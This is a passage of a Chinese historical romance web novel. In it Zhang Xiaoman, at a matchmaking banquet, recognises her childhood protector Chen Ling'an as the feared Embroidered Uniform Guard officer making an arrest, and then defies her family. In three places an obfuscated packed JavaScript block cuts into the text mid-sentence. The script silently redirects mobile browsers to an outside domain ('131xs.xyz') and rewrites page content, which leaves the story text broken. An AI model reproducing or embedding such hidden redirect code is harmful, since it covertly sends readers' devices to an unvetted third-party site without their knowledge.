说大话唬人不是张小满的做派,她还是选择坦诚以待,“小时候跟着村里的私塾先生读过几天书,马马虎虎罢了。我喜欢跑跑跳跳,一有空就踢毽子跳绳荡秋千,就没有闲下来的时候。” 说着说着,她忍不住笑起来,“刚回京城那阵,因为总坐不住,把教引嬷嬷气得够呛,拿着戒尺要打我手心,可惜她没我跑得快,追不上我。” 蒋夫人暗道要糟,不想秦夫人笑了,“你身子骨一定很好。” 张小满点头,“还不错,我结实得很,力气也比寻常女子大得多。” 秦夫人上下打量她两眼,笑容里带了些许别的意味。 蒋夫人心头一动,刘家三代单传,子嗣单薄,秦夫人自己也三天两头的病,都说越没什么越想要什么,莫非她看中了小满的康健? 因笑道:“别的不说,这孩子身体是真好,就说早春京城流行的那场风寒,我家病倒大半,府里连着一个月都是药味,她却没事,还不顾染病的风险,没日没夜伺候我好一阵子。” “小满性子活泼,说话也有趣,回来的这半年,我笑的比过去十来年加起来都多。”蒋夫人趁热打铁,“打小就和我投缘,当年也就两岁大,人还没有椅子腿高呢,就知道给我打扇擦汗。” “别的孩子只嘴上表表孝心,顶多吩咐下人们用心伺候,只有她,是真真正正把我放在了心里。” 小时候好,大了更好,这话几乎是明着说,流落在外的十四年,并没有让她长歪了。 秦夫人赞了声,“是个孝顺的孩子。” 小蒋氏也附和着夸奖几句,秦夫人笑着点点头,又看了眼门口,忽问道:“四姑娘怎么还没到?” 蒋夫人大吃一惊,带着疑问看向妹妹。 小蒋氏摇摇头,示意自己也不知道怎么回事。 秦夫人左右瞧瞧,慢慢解释道,“前几日,张大人约我家老爷吃酒,提到了四姑娘,我以为她今日也会来……” 蒋夫人一怔,随即大怒。 怪不得这些日子姚姨娘安分得不存在一样,原来暗地里撺掇张文直接找上刘家。又恨丈夫半点口风不透,提防她到如此地步,为了个侍妾,竟全然不顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901242|176642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多年的夫妻情分! 然而当着外人的面,她又不得不维持张家的脸面,只得勉力一笑,用“身子不适”之类的借口搪塞过去。 秦夫人眼光闪闪,笑笑没说话。 水榭内的气氛微妙起来,只听得见风过树梢的沙沙声。 就在这时,一两声似有似无的咳嗽,随风潜入水榭。 秦夫人脸上现出一抹讶然,下意识看向窗外。 层层叠叠的竹林后,晃过玉色的袍角,小满眼尖,立时瞧见了,片刻间已猜到树后之人是谁了。 “去叫瑾书过来。”秦夫人的话还没落地,便有一个丫鬟匆匆而来,在小蒋氏耳边低语几句。 小蒋氏表情一滞,随即笑着对姐姐说:“四丫头来给你送药了,你说你,居然连常吃的丸药都忘拿了。” 蒋夫人清楚地知道,这必定是姚氏母女的伎俩! 因是亲戚家的姑娘,又有张老爷的话在,侯府门房不敢拦。现在人到了二门,来往宾客那么多,就算再生气也要忍着,总不能让外人看笑话。 她们笃定,她为了维护张家的体面,会硬生生咽下满腹的怒火。 蒋夫人深吸口气,“带她进来。” 她倒要看看,这对母女能翻出什么浪花! 少顷,张君懿由丫鬟引到了水榭。 她本就相貌出众,今日又精心打扮了,大红底儿织金缠枝宝相花锦的袄裙,端的是贵气逼人,走路钗环不晃,行礼姿势优美,叫人一看,就知道是名门闺秀。 一亮相,就把张小满衬得有些素淡了。 蒋夫人心里窝着火,对她不过略一点头而已,旁的话一句没有。 张君懿脸上是恰到好处的微笑,“母亲身体为重,虽说是小毛病,可漏一顿,药效就差了。这是父亲的意思,母亲千万不要怪女儿冒失呀。” 父亲的意思…… 蒋夫人冷笑,这是点谁呢? 现在没有外人,也不必给她留面子了。 蒋夫人不紧不慢说:“我身子骨已然大好,早不吃药了,你惯常在你姨娘身边侍奉,不知道也是有的。” 张君懿咬了咬嘴唇,脸慢慢涨红。 张小满感受到了她的难堪。 同为张家姑娘,本没什么谁高谁低的区别,可在大部分人看来,养在姨娘身边,与由嫡母亲自教养的姑娘,还是不一样的。 一边又忍不住奇怪,明知道会激怒嫡母,四妹妹还是来了,她和姚姨娘是笃定刘家会相中她? 这边蒋夫人又笑了声,“今儿太阳那么大,难为你白跑一趟,等下回家要好好歇一阵子,省得再把你累病了。” 说话间已看向秦夫人,语气颇为感慨,“我们家这个四丫头,什么都好,就是娇弱了些,冷不得热不得风吹不得,等闲就没胃口吃不下饭,费了多少心力才养这么大,是最让父母惦念的一个。” 这话听着别扭,张君懿又说不上来哪里不对,如今京城女子时兴纤细娇媚,最好有一种弱不禁风、病体瘦怜之感。 她天生体态丰腴,饭也不敢多吃,好容易才饿出来飘动如烟的细腰。加之姨娘给她的妩媚相貌,张家优渥生活养出来的闲适优雅,以往走到哪里,都能轻而易举夺得所有人的目光。 她自信,这是文人雅士们最为喜爱的模样。 姨娘也说张小满和她没法比,只要刘家有和张家结亲的打算,必定会选她。 可为什么,秦夫人的视线只在她身上打了个转儿就移开了,表情淡淡的,看不出喜恶。 结果和预想的不一样,张君懿心里发慌,不由自主看向在场唯一待她友善的人。 张小满没有回应张君懿的求助。 我们扯平了…… 原来是这个意思啊。 真是心安理得的一句话,她把他们看作亲人,他们却从骨子里瞧不起她,哪怕捧出一颗真心,他们还是看得烂石头一样。 曾经无比渴求的“亲情”,无数次幻想的、憧憬的“家人”,虚幻如水中的月亮,明明就在眼前,却怎么也碰不到。 没意思到了极点。 她看向窗外,阳光从扶疏的树影间筛落,地上点点碎金随风摇曳,又是一年小满时节了。 陈令安有没有回宣府,有没有打听她的下落呢? 一声幽幽叹息,夹杂着失落和期盼,传到某些人耳中,就多了些许别的意味。 秦夫人不由多打量了她两眼,就这一停顿的功夫,窗外响起急促的脚步声,有人慌乱地说着什么,随着沙沙的树丛摩擦声,外面复归于平静。 水榭里的几人不知发生了何事,茫茫然的。 门帘霍地被撞开,一个总角小厮连滚带爬进来,浑身抖如筛糠,“不、不好了……锦衣卫、锦衣卫来……要拿表少爷!” 4. 第 4 章 水榭有一瞬死样的沉寂。 “我的儿!”秦夫人蓦地叫了声,不顾一切往外跑。 小蒋氏怕她受不住,忙唤人跟上,随即问那小厮可知锦衣卫拿人的理由。小厮早就吓傻了,结结巴巴说不出个所以然来,气得小蒋氏差点一巴掌扇过去,只能吩咐心腹管事赶紧去前院探听消息。 又急急喝令下人不得通禀侯夫人和太夫人,“若扰了两位老人家的清净,你们也不用在这里当差了。” 一面又担心引起恐慌,今日恰逢四时宴,侯府往来宾客甚多,事情未定之前,最怕话传话,万一有什么不好的话流出去,对侯府可是大大的不利。 必须稳定住局面才行。 焦头烂额之余,还不忘叮嘱姐姐带孩子先从后门走,以免卷入其中。 这个时候蒋夫人怎肯置身事外,匆匆交代两个孩子“你们在这里等着,千万不要乱走”,便追着妹妹去了。 水榭离只剩小满姐妹二人,谁也没有说话。 窗外的树林不安地晃动着枝桠,明明暗暗的影子落在张君懿身上,急促地摇来摇去。 “你在生我的气?”她突然发问。 张小满呵了声,“难道我连生气的资格都没有?” 张君懿避开她的视线,“你自己说的,你和刘公子成不了。” “可你当时为什么不说,三姐姐我喜欢刘瑾书,这次相亲换我去吧。”张小满自嘲似地笑笑,“话,当时我都和你说清楚了……抢来的更香?” 张君懿没言语。 “在你的眼里,我的婚姻大事,一支点翠蝴蝶钗就可以打发了。说白了,你对我还是信不过、瞧不上。”张小满叹口气,“四妹妹,我不想要,和被算计要不了,是不一样的。” 张君懿霍地抬头,张口想说什么又忍住了,起身出去。 张小满隔窗望去,但见她招手叫过个婆子,那婆子从她手中接过什么东西,点头哈腰走了。大约两刻钟后,那婆子回来,耳语几句,张君懿往这边看了一眼,随后折返过来。 一开始她低着头,走得很慢很慢,后来像是下定某种决心似地抬起头,越走越快,越走越快,几乎小跑着扎进水榭。 她努力平息着气喘,“你的邻家哥哥叫陈令安,巧了,今日来拿刘公子的锦衣卫头领,也是二十上下的年纪,也叫陈令安。” 张小满脑子嗡的一响,失声叫道:“真的?” 张君懿说:“事关锦衣卫,我怎敢作假?” 她看似泰然镇定,可眼神闪烁躲避,嗓音发颤,攥着团扇的手指尖发白,无一不显示了她的紧张,甚至从中还能看到了丝丝的兴奋。 给人一种孤注一掷的感觉。 明知道她在给自己挖坑,张小满还是抬腿就走。 “等等!”见她如此坚决,张君懿反而生出一丝犹豫,“你刚来不知道,锦衣卫的风评很不好,绝大部分朝臣都厌恶锦衣卫,尤其是文官,最忌惮和他们扯上干系。你贸然前去,无论他是不是你要找的人,父亲都会勃然大怒,更不要提和刘家的亲事了……别怨我没提醒你。” 张小满当然知道这一去的后果。 可那又怎样?想了九年,等了九年,杳无音信的九年,久到记忆中的模样都快变模糊了。 哪怕有一丝的希望,她都不想错过。 “所有后果我都愿意承担,况且,这不正是你期望的吗?”张小满回头笑了下,转身投入那片金灿灿的阳光中。 裙摆飞扬,环佩急摇,她像一只轻巧的燕子飞快掠过。 锦衣卫拿人的消息已从前院漫延到四时宴,赴宴的贵妇贵女们莫不惊慌,有害怕株连匆忙离去的,有站干岸看热闹的,当然也有与秦刘两家交好,留下来抚慰帮忙的。 到处乱哄哄的,反而无人注意张小满的举动。 她认路的本事极强,之前来侯府认亲时,嫡母只是给她提了一嘴外书房的方向,她就寻了个大差不离。 一跨过二门,惊慌失措的侯府逐渐变得安静,连道旁的花枝都一动不动。 张小满不由自主放慢了脚步。 侯府的奴仆们不知是吓得跑掉了,还是被驱散了,搭眼望去,四下鲜少有人影,偶有管事装束的人经过,也是形色慌乱匆忙,看到张小满竟问也不问一句。 妇人的惊呼蓦地响起,却是戛然而止,更添几分悚然。 听着像是秦夫人的声音,张小满的心揪得紧紧的,循着声音来到外书房。 绕过照壁,游廊尽头是一处敞厅,外厢的红漆柱子间用雕花格栅门隔了,她不敢冒然进门,只躲在树丛后张望。 挂在门口的湘竹帘子掉了半幅,内厅可见秦夫人抱着一位玉色衣袍的男子,气宇轩昂,容貌雅俊,应是刘瑾书。 侯府的侍卫和锦衣卫相峙而立,手按腰刀,死死盯着对方。 整个敞厅静得可怕,所有人都一动不动站着,只一人坐着。 他侧身坐在背阴处,整个人罩在晦暗不明的阴影中,小满看不清他的面容。 和紧绷到极点的其他人不同,他看上去很是随意,身子斜靠椅中,低头看着什么,身子有点瘦弱,不似其他锦衣卫那般高大健硕。 然给人的压迫感最强。 说不清为什么,眼睛就是无法离开他。 一个男声打破了敞厅的死寂。 “陈大人,这些都是我和老师来往的书信,全是请教功课探讨学问,不知触犯了哪条律法?”刘瑾书开口道,话音虽温良,但语气冷然,带着某种居高临下的鄙夷。 椅中的男子笑了声,“满嘴仁义道德,一肚子男盗女娼,刘翰林,你明明不是睁眼瞎,怎么净说瞎话?” 他说起话来斯斯文文,说的话却像刀子一样,扎得刘瑾书脸色一红,腮边肌肉微微隆起,显然抑制不住心里的怒气了。 刘瑾书的语气也凌厉起来,“没有圣旨,没有口谕,没有任何抓捕文书,不明不白就要把人抓走,这是什么道理?” 秦夫人护子心切,指着那人不管不顾放狠话,“今日你要不说出个所以然来,我就去告御状!” 那人嗤笑一声,带着点漫不经心的不羁,“口气不小,你丈夫都不敢说想见就一定能见到皇上,你又算哪个台面上的人?” 他挥了挥手,“来呀,带秦夫人进宫,看奉天殿能不能装下她的脸。” 秦夫人脸上的血色霎时褪得一干二净,连连后退,“我不去,出了侯府的门,谁知道你们会把我带到哪里!” 有个人高马大的校尉大踏步上前道:“从没人敢与锦衣卫打擂台,还威胁告御状,真是好笑!若是个个如夫人一般,拿我们锦衣卫不当回事,那皇上设立锦衣卫又有何用?” 刘瑾书急忙护在母亲身前,“拿不着我的错处,就用我母亲来要挟我,陈大人也忒卑鄙下作了!” 又厉声呵斥一旁的侍卫奴仆,“都是死人吗?还不扶姑太太回去休息!” 有上司命令在先,那校尉岂能轻易放秦夫人走,作势去抓秦夫人的胳膊。 侯府的侍卫们急急阻拦,不知哪个愣头青惊慌失措抽出了刀,刺耳的利刃摩擦声立时激断锦衣卫紧绷的那根弦。 但听此起彼伏一片“铮铮”刀出鞘之声,整个敞厅森气凛然,连躲在树后的小满都不由自主屏住了呼吸。 “住手,住手!”走廊那头,一个绯衣玉带的中年男子极力挥手喝止,七八个青袍绿袍的官儿紧随其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901243|176642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后。 小满认出那人是平阳侯世子秦伯彦,之前嫡母带她来侯府做客时见过一面。 还有一人远远跟在他们后面,也是绯色官袍,双颊清癯,留着五绺美髯,步伐缓慢稳重,不知是什么来历。 小满重新把目光投向敞厅。 这些人一来,敞厅的气氛便发生了微妙的变化,刘瑾书紧绷的面孔稍稍松弛了,秦夫人的眼泪流得更凶,腰杆子却是挺得直了些。 粗着嗓子嚷嚷的校尉此刻安静下来,手抚腰刀,钉子似地站在上司身后。 秦伯彦是名武将,性情刚烈,平时最恨没有寸功,只会狗仗人势的锦衣卫,本就憋着一肚子恶气,如今居然欺负到自家头上了,暴脾气当场爆发。 “陈令安,看清楚这是什么地方!”他粗着嗓子喝道。 “我祖父追随太/祖爷打天下,乃是开国功臣,配享太庙!我父亲镇守西南,战功赫赫,太/祖爷御笔亲书‘忠勇义烈’赐予平阳侯府,曾言秦家永世恩宠。你算个什么东西,敢来平阳侯府撒野!” 一直坐在椅中,低头翻看什么的男子终于抬起头。 “平阳侯府的恃功矜宠,今日陈某算是领教了。” 语气竟夹杂着隐隐的兴奋。 秦伯彦冷笑,“少威胁我,旁人怕你,我可不怕。我在当今阵前效力的时候,你还不知道在哪儿玩泥巴呢!” 或许是他强硬的态度给了人信心,那些依附侯府和刘家的人登时气焰大盛,纷纷抢步上前,七嘴八舌没一句好话: “阴险卑鄙奸佞小人,构陷忠良,献媚人主,荼毒生民,你有何脸面偷活于世?” “于国无寸功,于民无寸利,再容你们放肆下去,势必会后患无穷!” “奸贼!奸贼!我等要联名上书弹劾你,哪怕血溅午门,也要把你这个恣行威虐、祸乱朝纲的奸贼绳之以法!” …… 听得树后面的张小满直皱眉头。 这个人,真的像他们说的那么坏吗? 就在这时,那人站起身。 那群人高亢的谩骂奇妙地变低了,唯有秦伯彦的粗嗓子在敞厅中震荡。 一个人影从阴影处缓缓走出来。 阳光金灿灿的,照在他的大红曳撒上,跃动着,闪烁着,像一团愤怒的火。 张小满瞪大眼睛。 浓烈昳丽的五官,干净利索的面部线条,眉弓深邃,鼻梁英挺,这让他的眼睛半藏在阴影中,显得有些沉郁森然。 气质大不相同,但相貌与记忆中的有六七分相似。 心脏不受控制地急跳,张小满不由屏住呼吸,慢慢从树后走出来。 近了,更近了,她可以清晰地看到,那人左额角上,有一个浅浅的黄豆大小的伤疤。 张小满但觉头“嗡”地一响,一股难以抑制的酸涩冲上鼻尖,呛得她眼泪都流下来了。 是他,是陈令安! 只觉轰的一声,所有的声音瞬间远去,所有的人影瞬间模糊,眼中只剩他一人。 脚下越来越快,越来越快,朝思暮想的人就在眼前,什么也阻止不了她了! 惊呼声如波浪般在一片死水的敞厅泛起,随即陷入沉寂。 所有人都瞠目结舌看着那个死死抱着陈令安的姑娘,就连陈令安本人都愣在了原地。 锦衣卫望着他那只僵在半空迟迟没落下的手,你看看我,我看看你,不知道还要不要继续抓人。 张小满仰起脸,张口想唤他,可喉头也被泪水堵住了,一时竟发不出声音。 她接连吞下好几口空气,好容易才找回自己的声音,却是转身朝人们大喊: “令安哥才不是大奸贼!” 5. 第 5 章 清脆响亮的声音在敞厅里回荡着,震得痛骂陈令安的人们张大了嘴,目光一齐望向声音来处,要瞧瞧这个公然维护万恶奸贼的小姑娘,究竟是何方人物。 不过十六七岁的年纪,俏丽的脸蛋上满是怒气,还带着几分娇憨倔强。 别人尚在思量这是哪家的姑娘,秦夫人已是勃然大怒。 好个张小满,倒叫陈令安那奸贼为“哥哥”! 刚要斥责,却被儿子暗暗阻止。 刘瑾书没有母亲那般愤怒,他的目光在陈令安和张小满之间扫来扫去,不知在想些什么。 陈令安也在打量面前的小姑娘,惊诧、猜疑、戒备……种种情绪从他眼中浮现,旋即消失,眸子又是暗沉沉一片,看不出一丝波动。 迎着众人的目光,张小满脸颊通红,整个人又激动,又气愤,又止不住替陈令安委屈,“你们说的不对,他是好人,是天底下顶顶好的大好人!” “你们冤枉人,只会仗着人多欺负他。” 说到最后,声音都带了哭腔。 欺负陈令安?这回不止是侯府的人,就连那几个锦衣卫的脸色也逐渐变得古怪,好似听到了天大的笑话,想笑又不敢笑的样子。 “小满!” 一阵慌乱的脚步声引得众人望向门口,蒋夫人喘吁吁赶到,后面跟着同样喘息不止的张君懿。 “母亲!”张小满眼睛一亮,指着陈令安道,“他是救我的邻家哥哥,当初要不是他,我早不知道卖哪儿了。在宣府那段日子,我可没少受人家照顾。” 蒋夫人吓得心脏都要爆了,这个傻孩子也不想想,且不论张家还能不能容他,这个恶煞岂是她能招惹的?到头来怎么死的都不知道! 担忧战胜了恐惧,她一把推开扶着她的张君懿,急急抓住张小满的手腕,“你认错人了,快跟母亲回去。” 张小满忙道:“不会错的,他眉眼没怎么变,我记挂他九年了,天天在心里描画他的模样,就是化成灰我也认得!” 这话听着怎么那么别扭?大块头校尉嘴角抽抽两下,眼光不禁瞄向上峰。 陈令安眼波微动,依旧没有出声。 沉默也意味着承认! 众人看张小满的眼神越发意味深长。 张君懿也没料到他俩居然真是旧相识,一时懵了,然偷偷觑了眼刘瑾书,心又冷硬起来。 反正事情到了这个地步,她自己也不可能全身而退,索性再添一把柴。 她鼓起勇气上前道:“三姐姐,你昏头了,你是来和刘家表哥相亲的,怎能帮着抓他的人说话?” 此话一出,厅内的气氛愈加古怪,别说脸色愈加难看的蒋秦二位夫人,便是刘瑾书也尴尬起来。 张小满没理她的话茬,只看着陈令安,眼睛闪闪发亮,“令安哥,我是小满啊,没想到我来了京城吧,我找到我亲爹娘了!你呢,这九年你都去哪儿了,总也不回来,连个信儿都没有。” 她叽叽喳喳地说着,陈令安默默地听着,待她声音落了,方缓缓道:“你来,是给刘瑾书求情的?” 张小满一怔,万没想到他第一句话竟是问这个。 当然是为他而来! 可实话实说,刘家的面子算是彻底被她撕碎了,父亲一准大发雷霆。 应该说因为担心刘公子安危才偷跑过来,结果意外认出儿时的竹马哥哥。 这样就是对陈令安撒谎了。 她不喜欢。 更不喜欢他审犯人一样的语气。 张小满忍不住再次打量这个让她挂念九年的人。 他的脸比从前多了些棱角,眼神透着陌生,带着审视,甚至有些冷,没有丁点故人相逢的喜悦。 如果是九年前的陈令安,只会大笑着揉乱她的头发,在她的抱怨声中,问她过得好不好,有没有受欺负。 现在…… 初夏的风把树荫摇得簌簌作响,屋檐下的铁马发出悠长清脆的撞击声,光与影在窗纱上纠缠不休。 沸腾的热情慢慢冷却,张小满突然觉得很委屈,“你也要抓我进诏狱吗?” 眼泪已经在她的眼眶里打转了。 陈令安沉默少顷,然后微微弯下腰,“还和小时候一样不经逗。” 说着,拿出一方帕子递过来,“都到相亲的年纪了……” 声音低沉温和,带着几分感慨,较之方才多了些许暖人的温度。 陈令安竟然会这样说话!人们惊奇地睁大了眼睛,看张小满的眼神闪烁不定。 “你想起我来啦!”张小满肉眼可见的开心起来,接过帕子,又看了看嫡母,面上露出为难。 一般来说,这时候她应该把陈令安介绍给嫡母,再由嫡母出来说几句场面话,可看嫡母一副忌惮非常的模样,显见是她在痴心妄想。 果然,蒋夫人狠狠瞪了她一眼,再看陈令安时,那眼神活像看拐跑自家闺女的人贩子! 陈令安不以为意,忽扬声道:“刘大人,既然来了,何故躲在后面偷看?” 人们这才发现站在堂前树荫下的刘方。 双方已是剑拔弩张要打起来了,刘方却那样的旭然。 他慢慢踱进敞厅,先安抚似地看了看夫人儿子,然后向陈令安一笑,毫无敌意,“陈大人做事还是这样刚毅果断。” 陈令安微一欠身,并不接言,等着他下面的话。 “都坐,都坐,怎么茶也没有?” 刘方从袖中拿出一个明黄色的小纸包,脸上还是那种笑。 “皇上刚赏赐的新茶,叫做冻顶乌龙,鸡笼山那边进的,统共只有两斤,我得了一两,陈阁老得了三两。来人,泡茶,请陈大人一同品鉴。” 听到“陈阁老”三字时,陈令安眉头动了下。 下人战战兢兢奉茶,刘方做了个“请”的手势,浅酌一口,连赞三声,才不紧不慢问起儿子的事。 陈令安道:“令公子潇洒倜傥,桃花遍地开,本是无伤大雅的小事,但是牵扯上犯官家眷,就不是一句‘风流韵事’能糊弄过去的了。” 刘方立刻严肃了面容,“若犬子真触犯律法,不消陈大人动手,老朽亲自把他送到诏狱去!” 陈令安把一封书信扔到桌上,“茶就不喝了,今后还请令公子好自为之。” 刘方笑容更大了,收好书信,“改日请陈大人吃酒。” 这番对话听得众人如堕五里雾中,一个个面面相觑,不知他二位葫芦里卖的什么药。 刘瑾书脑子转得快,已然猜到陈令安此行的目标,不是他,是陈阁老。 前些日子陈阁老收了一房小妾,那小妾原是罚没入官的罪臣女眷,因与他有几面之缘,私下央求他寻个出路。恰逢陈阁老的爱妾没了,他便从中牵线,既助那女子脱离火坑,又解了陈阁老寂寥之忧。 可按太/祖爷定下的规矩,罪臣女眷只能赏给功臣,不可给文官。想必陈令安就是抓住了这点,才突然发难。 此事说大不大,朝中有数起的先例,这条规矩也早名存实亡。 陈令安抓他,无非是想屈打成招,罗织罪名好把陈阁老拉下马。 父亲定然提前得到消息,做了准备,方才那话是告诉陈令安,此事已在御前过了明路,追究无用。 陈令安再猖狂,也不敢违背圣意。 刘瑾书微微透口气。 一旁的青袍绿袍们也肉眼可见的放松下来。 不妨陈令安冲那些人一抬下巴,“请这几位去北镇抚司喝茶。” “陈大人!”刘方朗声道,“一时激愤,言辞多有冒犯也是在所难免的事,都是同僚,陈大人得饶人处且饶人,别与他们计较了吧。” 陈令安:“不计较,那还是我陈令安么?” 刘方拦住暴跳如雷的小舅子,脸上笑意依旧,“既然你执意如此,就莫怪本官上奏皇上了。” “请便。”陈令安一挥手,但听噼里啪啦一阵响,锦衣卫兴高采烈押走了那些随秦伯彦而来的官儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901244|176642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎……”张小满欲言又止。 陈令安停住脚步。 “这就走啦,”张小满小声嘀咕,“知道我住哪里吗?” “知道。”陈令安笑笑,“张家刚找回来的三姑娘,之前有所耳闻,没想到那人就是你。我现下有事,等忙完了再找你叙旧。” 他笑容很淡,若是放在寻常人脸上甚至不能称之为笑,可他平日里总是冷着脸,要么就是没有任何表情,因而这一笑,便有点“惊天动地”的味道了。 张小满重重点头,兀自望着陈令安远去的背影,丝毫没注意其他人异样的目光。 蒋夫人无声叹了一息。 日影西斜,四时宴尽,蒋夫人带着两个孩子疲惫地回到张府。 张文早在小花厅等着了,一旁侍立的是姚姨娘,低眉顺眼的,蒋夫人进门时,她身子还颤抖了下。 蒋夫人见她这样就气不打一处来,“作这幅轻贱样儿给谁看呢?自己不检点,好孩子也让你教坏了!” 姚姨娘泫然欲泣,“千错万错都是贱妾的错,太太怎么责罚我都成,只求太太别迁怒四姑娘,更不要和老爷置气。” 蒋夫人冷笑,“废话,不是你撺掇能有今天这事?少在我面前耍心眼,三言两语就想挑拨离间,谁听你的谁才是傻子。” 正准备为爱妾撑腰的张文:呃…… 蒋夫人阴着脸坐在北墙八仙桌左侧,把今日变故简短说了一遍。 张文只听到些锦衣卫抓人的风声,压根不知道自家竟牵涉其中,惊怔之下心里乱成一团,怎么也理不出个头绪来,只瞠目盯着张小满问:“你怎么和他认识的?” 没什么好隐瞒的,张小满坦然讲了两人的过往。 屋里静寂片刻,张文脸上掠过一抹极其复杂的神色,忽一拍桌子,“这么大的事,你怎么不早说?” 张小满也委屈着,“我是想说来着,可你不耐烦听,再说我也不知道他就是他啊!” 蒋夫人忙从中劝道:“事发突然,过不了两天就会传遍京城,老爷赶紧想想如何应对吧。” 张文扶额长叹,“我有什么法子,儿女债儿女债,真是活活要我的命……” 蒋夫人冷冷瞥了张君懿一眼,“我还奇怪一件事,好端端的,小满怎么知道来人就是陈令安?” 张君懿惊出一身冷汗,忙道:“三姐姐先前托我找的人就叫陈令安,看她急得了不得,我才……我劝三姐姐不要去,会给咱家惹祸的,可她就是不听,我也是没法子。” 姚姨娘心思急转,想的是先把自己闺女摘出来,“小满你太冒失了,太任性了,怎能和那人相认?这下可好,不止得罪了刘家和侯府,只怕满朝的官员,都要把咱家视为眼中钉。” 她正说中了张文的担忧,霎时火气直冲脑门,“君懿把利害给你说得清清楚楚,你还去找他!一回京就让我张家沦为全城的笑柄,如今更是害得全家鸡犬不宁,当初我就不该认你。” 这话说得忒重,张小满纵想分辩一二,也知道父亲此刻根本听不进去。 索性沉默以对。 张文更气,叫人把她送到乡下庄子上去,“不许她出门,不许私下联系,以后就当张家没这个女儿。” 蒋夫人立马拦住,“分明是四丫头心怀叵测,只顾争抢男人,不把你这个父亲的仕途放心上,你却全怪小满。问也不问清楚,就急着撇清关系表立场,好歹也是二品大员,有点魄力行不行!” “你懂什么!”张文喝道,“不管前因如何,就凭她这般亲近那奸贼,不惩戒她,我如何在朝中立足?” 张小满猛然抬头,直直跪下了,“女儿不愿让老爷为难,也不愿一辈子关着不见天日。父女缘浅,请老爷将我从张家除名,此后生死荣辱,皆与张家无关。” 蒋夫人大惊,“别说气话,离了张家你去哪儿。” “去找陈令安,”张小满眼中划过一丝不易察觉的狡黠,“他说了,遇到任何难事,都可以去北镇抚司找他。” 6. 第 6 章 月色澄净,北镇抚司的签房被月光笼着,就像浸在一汪洁净透明的湖水中。 房间不大,墙边书架满满当当全是各类书籍案宗,一张长条书桌,桌子两侧堆着案卷,有的已经拆开,有的封口上还贴着盖有北镇抚司印信的封条。 “她真这样说?”陈令安从一堆案卷中抬起头,眼中露出惊讶。 “可不是!”说话的是随他去平阳侯府抓人的校尉吴勇,“小姑娘胆子还真大,竟敢拿大人做挡箭牌,把咱们的眼线都惊着了。” 陈令安又问:“张文作何反应?” 吴勇不由笑出声,“被小姑娘顶得一个字都说不出来,既不敢得罪刘家和陈阁老,又怕大人替小姑娘撑腰。那是左右为难,罚也不对,不罚也不对,憋得一张老脸都紫了。” “又有蒋氏在旁一个劲护着,到底也没送庄子上去,最后不准吃饭、罚跪祠堂。眼线过去打探的时候,想着这姑娘肯定得哭一泡,嘿,你猜怎么着,这姑娘没哭也没跪,人家把蒲团攒到一块躺上头,睡得那个香啊!” 吴勇挤眉弄眼靠近,“我说大人呐,什么时候多了个小青梅,还长得挺漂亮。对你不错啊,连刘瑾书都扔到一边不管。” 陈令安用笔杆抵住他的额头,慢慢推远,“正常情况下,在我和刘瑾书之间,女孩子会选择谁?” “当然是刘瑾书。”吴勇脱口而出,“家世好、相貌好、性情好,还是正儿八经的探花郎,但凡不是瞎……” 他一激灵,讪讪住了口。 陈令安接过话头,“但凡不是瞎子,都会选刘瑾书,她却毫不犹豫站在我这边。张家突然冒出个土里土气的漂亮乡下妞,突然地出现在抓捕现场,你不觉得太巧了吗?” 土里土气的漂亮,吴勇咂摸咂摸,似乎还真有点贴切。 “救命之恩,以身相许。”他笑嘻嘻调侃,“或许人家就好大人这一口呢,俗话说得好,男人不坏,女人不爱……” 待看到上峰暗含警告的眼神,吴勇立马一改戏谑的口吻,“大人怀疑这是他们做的局?我这就派两个兄弟去宣府查张小满的背景。” 陈令安默然少顷,“宣府没什么可查的,留意她在京城的行踪就足够了。” 吴勇挠挠头,想不明白也应了,又开始发牢骚:“白白浪费个好机会,刘方和陈阁老的动作也太快了,他们怎么知道咱们今天的行动?” 陈令安眸光微凉,“我不过是从三品指挥同知,头上还有指挥使压着,而这次的对头一个是即将入阁的户部尚书,一个是几乎把首辅架空的次辅,难免有人心思活泛,想两面讨好。” “等我揪出这人,非把他大卸八块!”吴勇气哄哄骂了句,“就捉了几个小鱼小虾,弟兄们这几个月的辛苦全白费了,咱北镇抚司从没这么窝囊过。” 夜风袭窗而过,烛火晃动,忽明忽暗的光线下,很难看清陈令安脸上的表情。 他没有说话,吴勇却没由来一阵怯意,嘿嘿笑着给自己描补,“君子报仇十年不晚,早晚叫那群老匹夫好看!” 一边端起书案上的茶杯,“茶都凉了,也不知道给大人换一杯,当差的人越来越不用心了……” 却是借机溜之大吉。 